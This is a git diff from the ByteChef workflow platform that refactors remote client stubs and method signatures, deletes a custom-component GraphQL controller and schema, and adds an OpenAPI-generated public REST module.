diff --git a/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteClusterElementDefinitionServiceClient.java b/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteClusterElementDefinitionServiceClient.java
index 2af91a48bc8..7cdfcd328a1 100644
--- a/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteClusterElementDefinitionServiceClient.java
+++ b/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteClusterElementDefinitionServiceClient.java
@@ -10,7 +10,6 @@
 import com.bytechef.component.definition.ClusterElementDefinition.ClusterElementType;
 import com.bytechef.component.exception.ProviderException;
 import com.bytechef.platform.component.ComponentConnection;
-import com.bytechef.platform.component.definition.datastream.ClusterElementResolverFunction;
 import com.bytechef.platform.component.domain.ClusterElementDefinition;
 import com.bytechef.platform.component.domain.Option;
 import com.bytechef.platform.component.domain.Property;
@@ -41,7 +40,7 @@ public List<Property> executeDynamicProperties(
     public List<Option> executeOptions(
         String componentName, int componentVersion, String actionName, String propertyName,
         Map<String, ?> inputParameters, List<String> lookupDependsOnPaths, String searchText,
-        @Nullable ComponentConnection componentConnection, ClusterElementResolverFunction clusterElementResolver) {
+        @Nullable ComponentConnection componentConnection) {
 
         throw new UnsupportedOperationException();
     }
@@ -116,8 +115,7 @@ public List<ClusterElementDefinition> getRootClusterElementDefinitions(
 
     @Override
     public ProviderException executeProcessErrorResponse(
-        String componentName, int componentVersion, int connectionVersion, String componentOperationName,
-        int statusCode, Object body) {
+        String componentName, int componentVersion, String componentOperationName, int statusCode, Object body) {
 
         throw new UnsupportedOperationException();
     }
diff --git a/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteConnectionDefinitionServiceClient.java b/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteConnectionDefinitionServiceClient.java
index c43cd1c1836..2e6c9aec451 100644
--- a/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteConnectionDefinitionServiceClient.java
+++ b/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteConnectionDefinitionServiceClient.java
@@ -12,7 +12,6 @@
 import com.bytechef.component.definition.Authorization.AuthorizationType;
 import com.bytechef.component.definition.Authorization.RefreshTokenResponse;
 import com.bytechef.component.definition.Context;
-import com.bytechef.component.exception.ProviderException;
 import com.bytechef.ee.discovery.util.WorkerDiscoveryUtils;
 import com.bytechef.ee.platform.component.remote.client.AbstractWorkerClient;
 import com.bytechef.ee.remote.client.DefaultRestClient;
@@ -77,14 +76,6 @@ public Optional<String> executeBaseUri(
         throw new UnsupportedOperationException();
     }
 
-    @Override
-    public ProviderException executeProcessErrorResponse(
-        String componentName, int componentVersion, int connectionVersion, String componentOperationName,
-        int statusCode, Object body) {
-
-        throw new UnsupportedOperationException();
-    }
-
     @Override
     public RefreshTokenResponse executeRefresh(
         String componentName, int connectionVersion, AuthorizationType authorizationType,
diff --git a/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteTriggerDefinitionServiceClient.java b/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteTriggerDefinitionServiceClient.java
index e28eb7b577a..8cc8eb7051c 100644
--- a/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteTriggerDefinitionServiceClient.java
+++ b/server/ee/libs/platform/platform-component/platform-component-remote-client/src/main/java/com/bytechef/ee/platform/component/remote/client/service/RemoteTriggerDefinitionServiceClient.java
@@ -64,7 +64,7 @@ public List<Property> executeDynamicProperties(
     @Override
     public WebhookEnableOutput executeWebhookEnable(
         String componentName, int componentVersion, String triggerName, Map<String, ?> inputParameters,
-        String webhookUrl, String workflowExecutionId, ComponentConnection componentConnection, long environmentId) {
+        String webhookUrl, String workflowExecutionId, ComponentConnection componentConnection) {
 
         throw new UnsupportedOperationException();
     }
@@ -182,8 +182,7 @@ public boolean isDynamicOutputDefined(String componentName, int componentVersion
 
     @Override
     public ProviderException executeProcessErrorResponse(
-        String componentName, int componentVersion, int connectionVersion, String componentOperationName,
-        int statusCode, Object body) {
+        String componentName, int componentVersion, String componentOperationName, int statusCode, Object body) {
 
         throw new UnsupportedOperationException();
     }
diff --git a/server/ee/libs/platform/platform-component/platform-component-remote-rest/src/main/java/com/bytechef/ee/platform/component/remote/web/rest/facade/RemoteTriggerDefinitionFacadeController.java b/server/ee/libs/platform/platform-component/platform-component-remote-rest/src/main/java/com/bytechef/ee/platform/component/remote/web/rest/facade/RemoteTriggerDefinitionFacadeController.java
index a4deed6db6a..eb648cb0236 100644
--- a/server/ee/libs/platform/platform-component/platform-component-remote-rest/src/main/java/com/bytechef/ee/platform/component/remote/web/rest/facade/RemoteTriggerDefinitionFacadeController.java
+++ b/server/ee/libs/platform/platform-component/platform-component-remote-rest/src/main/java/com/bytechef/ee/platform/component/remote/web/rest/facade/RemoteTriggerDefinitionFacadeController.java
@@ -196,7 +196,7 @@ public ResponseEntity<WebhookEnableOutput> executeWebhookEnable(
             dynamicWebhookEnableRequest.componentName, dynamicWebhookEnableRequest.componentVersion,
             dynamicWebhookEnableRequest.triggerName, dynamicWebhookEnableRequest.inputParameters,
             dynamicWebhookEnableRequest.workflowExecutionId, dynamicWebhookEnableRequest.connectionId,
-            dynamicWebhookEnableRequest.webhookUrl, dynamicWebhookEnableRequest.environmentId));
+            dynamicWebhookEnableRequest.webhookUrl));
     }
 
     @RequestMapping(
@@ -224,8 +224,9 @@ public record DynamicWebhookDisableRequest(
 
     @SuppressFBWarnings("EI")
     public record DynamicWebhookEnableRequest(
-        String componentName, int componentVersion, String triggerName, Map<String, Object> inputParameters,
-        String workflowExecutionId, String webhookUrl, Long connectionId, long environmentId) {
+        String componentName, int componentVersion, String triggerName,
+        Map<String, Object> inputParameters, String workflowExecutionId, String webhookUrl,
+        Long connectionId) {
     }
 
     @SuppressFBWarnings("EI")
diff --git a/server/ee/libs/platform/platform-configuration/platform-configuration-remote-client/src/main/java/com/bytechef/ee/platform/configuration/remote/client/facade/RemoteComponentConnectionFacadeClient.java b/server/ee/libs/platform/platform-configuration/platform-configuration-remote-client/src/main/java/com/bytechef/ee/platform/configuration/remote/client/facade/RemoteComponentConnectionFacadeClient.java
index 5cdbea09e16..8fe64bc5227 100644
--- a/server/ee/libs/platform/platform-configuration/platform-configuration-remote-client/src/main/java/com/bytechef/ee/platform/configuration/remote/client/facade/RemoteComponentConnectionFacadeClient.java
+++ b/server/ee/libs/platform/platform-configuration/platform-configuration-remote-client/src/main/java/com/bytechef/ee/platform/configuration/remote/client/facade/RemoteComponentConnectionFacadeClient.java
@@ -35,20 +35,6 @@ public RemoteComponentConnectionFacadeClient(LoadBalancedRestClient loadBalanced
         this.loadBalancedRestClient = loadBalancedRestClient;
     }
 
-    @Override
-    public ComponentConnection getClusterElementComponentConnection(
-        String workflowId, String workflowNodeName, String clusterElementType, String clusterElementWorkflowNodeName,
-        String key) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public List<ComponentConnection> getClusterElementComponentConnections(
-        String workflowId, String workflowNodeName, String clusterElementType, String clusterElementWorkflowNodeName) {
-
-        throw new UnsupportedOperationException();
-    }
-
     @Override
     public ComponentConnection getComponentConnection(String workflowId, String workflowNodeName, String key) {
         throw new UnsupportedOperationException();
@@ -75,9 +61,4 @@ public List<ComponentConnection> getComponentConnections(WorkflowTrigger workflo
             workflowTrigger,
             new ParameterizedTypeReference<>() {});
     }
-
-    @Override
-    public List<ComponentConnection> getWorkflowNodeComponentConnections(String workflowId, String workflowNodeName) {
-        throw new UnsupportedOperationException();
-    }
 }
diff --git a/server/ee/libs/platform/platform-configuration/platform-configuration-remote-client/src/main/java/com/bytechef/ee/platform/configuration/remote/client/service/RemoteWorkflowTestConfigurationServiceClient.java b/server/ee/libs/platform/platform-configuration/platform-configuration-remote-client/src/main/java/com/bytechef/ee/platform/configuration/remote/client/service/RemoteWorkflowTestConfigurationServiceClient.java
index cc0e43b8803..181b2520c24 100644
--- a/server/ee/libs/platform/platform-configuration/platform-configuration-remote-client/src/main/java/com/bytechef/ee/platform/configuration/remote/client/service/RemoteWorkflowTestConfigurationServiceClient.java
+++ b/server/ee/libs/platform/platform-configuration/platform-configuration-remote-client/src/main/java/com/bytechef/ee/platform/configuration/remote/client/service/RemoteWorkflowTestConfigurationServiceClient.java
@@ -51,11 +51,6 @@ public void delete(List<String> workflowIds) {
         throw new UnsupportedOperationException();
     }
 
-    @Override
-    public void deleteWorkflowTestConfigurationConnection(long connectionId) {
-        throw new UnsupportedOperationException();
-    }
-
     @Override
     public Optional<WorkflowTestConfiguration> fetchWorkflowTestConfiguration(String workflowId, long environmentId) {
         throw new UnsupportedOperationException();
diff --git a/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/AiProviderApi.java b/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/AiProviderApi.java
index af1f37781e7..b324064d49e 100644
--- a/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/AiProviderApi.java
+++ b/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/AiProviderApi.java
@@ -34,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.379479+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.362789+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "ai-provider", description = "The Platform AI Provider Internal API")
 public interface AiProviderApi {
diff --git a/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/GitConfigurationApi.java b/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/GitConfigurationApi.java
index 288dd45b81e..b3f89306b9b 100644
--- a/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/GitConfigurationApi.java
+++ b/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/GitConfigurationApi.java
@@ -33,7 +33,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.379479+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.362789+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "git-configuration", description = "The Platform Git Configuration Internal API")
 public interface GitConfigurationApi {
diff --git a/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/model/AiProviderModel.java b/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/model/AiProviderModel.java
index 2034009e41f..2801f1cf7b9 100644
--- a/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/model/AiProviderModel.java
+++ b/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/model/AiProviderModel.java
@@ -22,7 +22,7 @@
 
 @Schema(name = "AiProvider", description = "An AI provider.")
 @JsonTypeName("AiProvider")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.379479+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.362789+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class AiProviderModel {
 
   private @Nullable Integer id;
diff --git a/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/model/GitConfigurationModel.java b/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/model/GitConfigurationModel.java
index 66b5f3304e1..397fc483308 100644
--- a/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/model/GitConfigurationModel.java
+++ b/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/model/GitConfigurationModel.java
@@ -22,7 +22,7 @@
 
 @Schema(name = "GitConfiguration", description = "The git configuration.")
 @JsonTypeName("GitConfiguration")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.379479+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.362789+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class GitConfigurationModel {
 
   private String url;
diff --git a/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/model/UpdateAiProviderRequestModel.java b/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/model/UpdateAiProviderRequestModel.java
index 0fd7c333ac8..cb19d89da5f 100644
--- a/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/model/UpdateAiProviderRequestModel.java
+++ b/server/ee/libs/platform/platform-configuration/platform-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/configuration/web/rest/model/UpdateAiProviderRequestModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("updateAiProvider_request")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.379479+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.362789+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class UpdateAiProviderRequestModel {
 
   private @Nullable String apiKey;
diff --git a/server/ee/libs/platform/platform-configuration/platform-configuration-rest/src/main/java/com/bytechef/ee/platform/configuration/web/rest/GitConfigurationApiController.java b/server/ee/libs/platform/platform-configuration/platform-configuration-rest/src/main/java/com/bytechef/ee/platform/configuration/web/rest/GitConfigurationApiController.java
index 4629cfdcff6..99f8f76c5d2 100644
--- a/server/ee/libs/platform/platform-configuration/platform-configuration-rest/src/main/java/com/bytechef/ee/platform/configuration/web/rest/GitConfigurationApiController.java
+++ b/server/ee/libs/platform/platform-configuration/platform-configuration-rest/src/main/java/com/bytechef/ee/platform/configuration/web/rest/GitConfigurationApiController.java
@@ -12,7 +12,6 @@
 import com.bytechef.ee.platform.configuration.facade.GitConfigurationFacade;
 import com.bytechef.ee.platform.configuration.web.rest.model.GitConfigurationModel;
 import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import org.springframework.core.convert.ConversionService;
 import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.RequestMapping;
@@ -27,7 +26,6 @@
 @RequestMapping("${openapi.openAPIDefinition.base-path.platform:}/internal")
 @ConditionalOnCoordinator
 @ConditionalOnEEVersion
-@SuppressFBWarnings("HARD_CODE_PASSWORD")
 public class GitConfigurationApiController implements GitConfigurationApi {
 
     protected static final String PASSWORD = "********";
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-api/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/facade/CustomComponentFacade.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-api/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/facade/CustomComponentFacade.java
index 18be854aa44..2b6b953de58 100644
--- a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-api/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/facade/CustomComponentFacade.java
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-api/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/facade/CustomComponentFacade.java
@@ -8,7 +8,6 @@
 package com.bytechef.ee.platform.customcomponent.configuration.facade;
 
 import com.bytechef.ee.platform.customcomponent.configuration.domain.CustomComponent;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.util.List;
 
 /**
@@ -20,21 +19,7 @@ public interface CustomComponentFacade {
 
     void delete(Long id);
 
-    CustomComponentDefinitionRecord getCustomComponentDefinition(Long id);
-
     List<CustomComponent> getCustomComponents();
 
     void save(byte[] bytes, CustomComponent.Language language);
-
-    @SuppressFBWarnings("EI")
-    record CustomComponentDefinitionRecord(
-        List<ActionDefinitionRecord> actions,
-        List<TriggerDefinitionRecord> triggers) {
-    }
-
-    record ActionDefinitionRecord(String name, String title, String description) {
-    }
-
-    record TriggerDefinitionRecord(String name, String title, String description) {
-    }
 }
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-graphql/build.gradle.kts b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-graphql/build.gradle.kts
deleted file mode 100644
index 3b572b0cccb..00000000000
--- a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-graphql/build.gradle.kts
+++ /dev/null
@@ -1,15 +0,0 @@
-dependencies {
-    implementation("org.apache.commons:commons-lang3")
-    implementation("org.springframework.graphql:spring-graphql")
-
-    implementation(project(":server:libs:atlas:atlas-coordinator:atlas-coordinator-api"))
-    implementation(project(":server:libs:core:commons:commons-util"))
-    implementation(project(":server:libs:platform:platform-api"))
-    implementation(project(":server:ee:libs:platform:platform-custom-component:platform-custom-component-configuration:platform-custom-component-configuration-api"))
-    implementation(project(":server:ee:libs:platform:platform-custom-component:platform-custom-component-configuration:platform-custom-component-configuration-service"))
-
-    testImplementation("org.springframework:spring-webflux")
-    testImplementation("org.springframework.boot:spring-boot-starter-webmvc-test")
-    testImplementation("org.springframework.boot:spring-boot-starter-graphql-test")
-    testImplementation(project(":server:libs:test:test-int-support"))
-}
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-graphql/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/graphql/CustomComponentGraphQlController.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-graphql/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/graphql/CustomComponentGraphQlController.java
deleted file mode 100644
index 3bad485cde2..00000000000
--- a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-graphql/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/graphql/CustomComponentGraphQlController.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.customcomponent.configuration.web.graphql;
-
-import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
-import com.bytechef.ee.platform.customcomponent.configuration.domain.CustomComponent;
-import com.bytechef.ee.platform.customcomponent.configuration.facade.CustomComponentFacade;
-import com.bytechef.ee.platform.customcomponent.configuration.facade.CustomComponentFacade.CustomComponentDefinitionRecord;
-import com.bytechef.ee.platform.customcomponent.configuration.service.CustomComponentService;
-import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.MutationMapping;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.stereotype.Controller;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnCoordinator
-@ConditionalOnEEVersion
-class CustomComponentGraphQlController {
-
-    private final CustomComponentFacade customComponentFacade;
-    private final CustomComponentService customComponentService;
-
-    @SuppressFBWarnings("EI")
-    CustomComponentGraphQlController(
-        CustomComponentFacade customComponentFacade, CustomComponentService customComponentService) {
-
-        this.customComponentFacade = customComponentFacade;
-        this.customComponentService = customComponentService;
-    }
-
-    @QueryMapping
-    CustomComponent customComponent(@Argument Long id) {
-        return customComponentService.getCustomComponent(id);
-    }
-
-    @QueryMapping
-    CustomComponentDefinitionRecord customComponentDefinition(@Argument Long id) {
-        return customComponentFacade.getCustomComponentDefinition(id);
-    }
-
-    @QueryMapping
-    List<CustomComponent> customComponents() {
-        return customComponentFacade.getCustomComponents();
-    }
-
-    @MutationMapping
-    boolean deleteCustomComponent(@Argument Long id) {
-        customComponentFacade.delete(id);
-
-        return true;
-    }
-
-    @MutationMapping
-    boolean enableCustomComponent(@Argument Long id, @Argument boolean enable) {
-        customComponentService.enableCustomComponent(id, enable);
-
-        return true;
-    }
-}
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-graphql/src/main/resources/graphql/custom-component.graphqls b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-graphql/src/main/resources/graphql/custom-component.graphqls
deleted file mode 100644
index 71b0f3babb7..00000000000
--- a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-graphql/src/main/resources/graphql/custom-component.graphqls
+++ /dev/null
@@ -1,50 +0,0 @@
-extend type Query {
-    customComponent(id: ID!): CustomComponent
-    customComponentDefinition(id: ID!): CustomComponentDefinition
-    customComponents: [CustomComponent!]!
-}
-
-extend type Mutation {
-    deleteCustomComponent(id: ID!): Boolean!
-    enableCustomComponent(id: ID!, enable: Boolean!): Boolean!
-}
-
-type CustomComponent {
-    id: ID!
-    name: String!
-    title: String
-    description: String
-    icon: String
-    componentVersion: Int
-    enabled: Boolean
-    language: CustomComponentLanguage
-    createdBy: String
-    createdDate: Long
-    lastModifiedBy: String
-    lastModifiedDate: Long
-    version: Int
-}
-
-enum CustomComponentLanguage {
-    JAVA
-    JAVASCRIPT
-    PYTHON
-    RUBY
-}
-
-type CustomComponentDefinition {
-    actions: [CustomComponentActionDefinition!]!
-    triggers: [CustomComponentTriggerDefinition!]!
-}
-
-type CustomComponentActionDefinition {
-    name: String!
-    title: String
-    description: String
-}
-
-type CustomComponentTriggerDefinition {
-    name: String!
-    title: String
-    description: String
-}
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/build.gradle.kts b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/build.gradle.kts
new file mode 100644
index 00000000000..ebb8f9a7f3c
--- /dev/null
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/build.gradle.kts
@@ -0,0 +1,64 @@
+plugins {
+    alias(libs.plugins.org.openapi.generator)
+}
+
+val generateOpenAPISpring by tasks.registering(org.openapitools.generator.gradle.plugin.tasks.GenerateTask::class) {
+    apiPackage.set("com.bytechef.ee.platform.customcomponent.configuration.public_.web.rest")
+    configOptions.set(
+        mapOf(
+            "interfaceOnly" to "true",
+            "useSpringBoot3" to "true",
+            "useTags" to "true"
+        )
+    )
+    generatorName.set("spring")
+    inputSpec.set( "$projectDir/openapi.yaml")
+    modelNameSuffix.set("Model")
+    modelPackage.set("com.bytechef.ee.platform.customcomponent.configuration.public_.web.rest.model")
+    outputDir.set("$projectDir/generated")
+    schemaMappings.set(
+        mapOf(
+            "Page" to "org.springframework.data.domain.Page",
+        )
+    )
+}
+
+sourceSets.main.get().java.srcDir("$projectDir/generated/src/main/java")
+
+//val generateOpenAPITypeScriptFetch by tasks.registering(org.openapitools.generator.gradle.plugin.tasks.GenerateTask::class) {
+//    generatorName.set("typescript-fetch")
+//    inputSpec.set("$projectDir/openapi.yaml")
+//    modelNameSuffix.set("Model")
+//    outputDir.set("$rootDir/client/src/shared/middleware/platform/custom-component")
+//}
+
+tasks.register("generateOpenAPI") {
+    dependsOn(generateOpenAPISpring/*, generateOpenAPITypeScriptFetch*/)
+}
+
+dependencies {
+    annotationProcessor(libs.org.mapstruct.mapstruct.processor)
+    annotationProcessor(libs.org.mapstruct.extensions.spring.mapstruct.spring.extensions)
+
+    compileOnly("jakarta.servlet:jakarta.servlet-api")
+
+    implementation("org.apache.commons:commons-lang3")
+    implementation(libs.io.swagger.core.v3.swagger.annotations)
+    implementation("jakarta.annotation:jakarta.annotation-api")
+    implementation("jakarta.validation:jakarta.validation-api")
+    implementation(libs.org.mapstruct)
+    implementation(libs.org.mapstruct.extensions.spring.mapstruct.spring.annotations)
+    implementation("org.slf4j:slf4j-api")
+    implementation("org.springframework:spring-context")
+    implementation("org.springframework:spring-web")
+    implementation("org.springframework.boot:spring-boot-autoconfigure")
+    implementation(project(":server:libs:atlas:atlas-coordinator:atlas-coordinator-api"))
+    implementation(project(":server:libs:core:commons:commons-util"))
+    implementation(project(":server:libs:platform:platform-api"))
+
+    implementation(project(":server:ee:libs:platform:platform-custom-component:platform-custom-component-configuration:platform-custom-component-configuration-api"))
+
+    testImplementation("org.springframework:spring-webflux")
+    testImplementation("org.springframework.boot:spring-boot-starter-webmvc-test")
+    testImplementation(project(":server:libs:test:test-int-support"))
+}
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/.openapi-generator-ignore b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/.openapi-generator-ignore
new file mode 100644
index 00000000000..7484ee590a3
--- /dev/null
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/.openapi-generator-ignore
@@ -0,0 +1,23 @@
+# OpenAPI Generator Ignore
+# Generated by openapi-generator https://github.com/openapitools/openapi-generator
+
+# Use this file to prevent files from being overwritten by the generator.
+# The patterns follow closely to .gitignore or .dockerignore.
+
+# As an example, the C# client generator defines ApiClient.cs.
+# You can make changes and tell OpenAPI Generator to ignore just this file by uncommenting the following line:
+#ApiClient.cs
+
+# You can match any string of characters against a directory, file or extension with a single asterisk (*):
+#foo/*/qux
+# The above matches foo/bar/qux and foo/baz/qux, but not foo/bar/baz/qux
+
+# You can recursively match patterns against a directory, file or extension with a double asterisk (**):
+#foo/**/qux
+# This matches foo/bar/qux, foo/baz/qux, and foo/bar/baz/qux
+
+# You can also negate patterns with an exclamation (!).
+# For example, you can ignore all files in a docs folder with the file extension .md:
+#docs/*.md
+# Then explicitly reverse the ignore rule for a single file:
+#!docs/README.md
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/.openapi-generator/FILES b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/.openapi-generator/FILES
new file mode 100644
index 00000000000..f81391bd6d7
--- /dev/null
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/.openapi-generator/FILES
@@ -0,0 +1,4 @@
+README.md
+pom.xml
+src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/ApiUtil.java
+src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/CustomComponentApi.java
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/.openapi-generator/VERSION b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/.openapi-generator/VERSION
new file mode 100644
index 00000000000..1b2d969d190
--- /dev/null
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/.openapi-generator/VERSION
@@ -0,0 +1 @@
+7.18.0
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/README.md b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/README.md
new file mode 100644
index 00000000000..d43a1de307d
--- /dev/null
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/README.md
@@ -0,0 +1,27 @@
+
+# OpenAPI generated API stub
+
+Spring Framework stub
+
+
+## Overview
+This code was generated by the [OpenAPI Generator](https://openapi-generator.tech) project.
+By using the [OpenAPI-Spec](https://openapis.org), you can easily generate an API stub.
+This is an example of building API stub interfaces in Java using the Spring framework.
+
+The stubs generated can be used in your existing Spring-MVC or Spring-Boot application to create controller endpoints
+by adding ```@Controller``` classes that implement the interface. Eg:
+```java
+@Controller
+public class PetController implements PetApi {
